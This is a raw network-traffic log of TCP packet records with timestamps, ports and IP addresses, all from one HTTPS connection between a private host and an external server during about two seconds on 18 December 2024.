Dec 18, 2024 08:46:10.933388948 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.933465004 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.936716080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.936809063 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.939861059 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.939960003 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.943969011 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.944128036 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.946665049 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.946753025 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.950843096 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.950922966 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.954133034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.954221010 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.957329035 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.957415104 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.960478067 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.960561991 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.980179071 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.980274916 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:10.984357119 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:10.984451056 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.106271982 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.106344938 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.110382080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.110460997 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.113684893 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.113858938 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.116787910 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.116871119 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.119982004 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.120055914 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.124140024 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.124216080 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.127257109 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.127334118 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.130527973 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.130594969 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.133721113 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.133791924 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.137481928 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.137552023 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.141529083 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.141710997 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.144694090 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.144769907 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.147979975 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.148051977 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.151295900 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.151365042 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.170238018 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.170438051 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.174259901 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.174333096 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.296881914 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.296992064 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.300039053 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.300236940 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.303354979 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.303441048 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.306523085 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.306598902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.310678959 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.310765028 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.313860893 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.313955069 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.317169905 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.317249060 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.321261883 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.321355104 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.324537039 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.324611902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.328047991 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.328115940 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.331218004 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.331352949 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.334513903 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.334599972 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.337702036 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.337779045 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.341864109 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.341929913 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.360606909 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.360716105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.363847017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.363924980 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.486615896 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.486829042 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.489655972 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.489733934 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.492945910 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.493016958 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.496926069 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.496994972 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.500147104 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.500215054 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.503668070 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.503751993 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.507616997 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.507695913 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.510771036 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.510843992 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.514128923 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.514213085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.517190933 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.517267942 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.520967960 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.521047115 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.524081945 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.524154902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.528189898 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.528285027 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.531383038 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.531462908 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.534730911 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.534796953 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.561005116 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.561090946 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.565130949 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.565206051 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.679465055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.679553986 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.682554007 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.682627916 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.686784029 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.686873913 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.690227985 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.690306902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.693226099 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.693303108 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.697330952 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.697412014 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.700531960 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.700623035 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.703814983 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.703902006 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.707037926 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.707137108 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.710782051 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.710886955 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.713886023 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.713965893 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.717966080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.718065023 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.721230030 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.721327066 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.724378109 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.724447966 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.751105070 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.751305103 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.755198956 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.755280018 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.869563103 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.869685888 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.872504950 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.872589111 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.876682043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.876756907 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.879915953 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.879992962 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.883137941 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.883217096 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.886389017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.886462927 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.890439987 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.890532017 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.893682003 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.893767118 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.896855116 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.897046089 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.901006937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.901091099 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.903784037 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.903856993 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.907974958 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.908051014 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.911094904 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.911175013 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.914320946 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.914398909 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.941827059 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.942055941 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:11.944345951 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:11.944423914 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.059813023 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.059926033 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.062747002 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.062838078 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.065893888 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.065968990 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.070066929 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.070166111 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.073236942 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.073323011 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.076536894 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.076627970 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.079610109 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.079699039 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.083764076 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.083848953 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.087110043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.087287903 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.090282917 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.090374947 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.093898058 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.093995094 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.096971035 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.097048044 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.101171017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.101246119 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.104389906 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.104459047 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.107687950 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.107770920 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.134660006 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.134881973 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.137821913 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.138003111 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.252564907 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.252650976 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.255708933 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.255785942 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.259963036 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.260036945 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.263077974 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.263150930 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.266326904 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.266397953 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.270520926 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.270612955 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.273637056 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.273730040 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.276921034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.277002096 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.280090094 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.280173063 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.283771038 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.283854961 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.286959887 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.287045956 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.291043043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.291116953 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.294246912 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.294328928 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.297645092 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.297744989 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.324697971 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.324825048 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.327930927 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.328006029 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.442696095 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.442796946 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.446077108 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.446150064 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.449306965 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.449389935 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.452506065 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.452599049 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.456636906 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.456713915 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.459852934 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.459940910 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.463129997 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.463213921 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.467330933 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.467410088 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.470415115 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.470510006 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.473650932 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.473747969 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.477370024 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.477443933 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.480526924 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.480606079 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.483700991 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.483773947 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.487869978 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.487946987 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.514796972 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.514981985 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.518270969 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.518359900 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.633316994 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.633430004 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.636496067 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.636578083 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.639702082 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.639772892 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.642961979 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.643042088 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.646127939 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.646199942 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.650470972 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.650549889 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.653620005 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.653697968 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.656681061 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.656775951 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.660834074 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.660923004 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.663973093 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.664103031 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.667658091 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.667759895 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.670846939 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.670943022 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.674060106 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.674154043 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.677234888 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.677337885 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.681457043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.681554079 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.707393885 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.707508087 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.711535931 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.711627960 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.826591969 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.826673031 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.829853058 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.829925060 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.832964897 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.833033085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.837063074 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.837132931 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.840229988 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.840296030 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.843518972 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.843589067 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.846689939 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.846757889 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.850800037 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.850862980 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.853979111 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.854053020 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.857709885 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.857784986 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.860939026 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.861012936 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:12.864120007 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:12.864190102 CET	49704	443	192.168.2.5	51.158.71.131
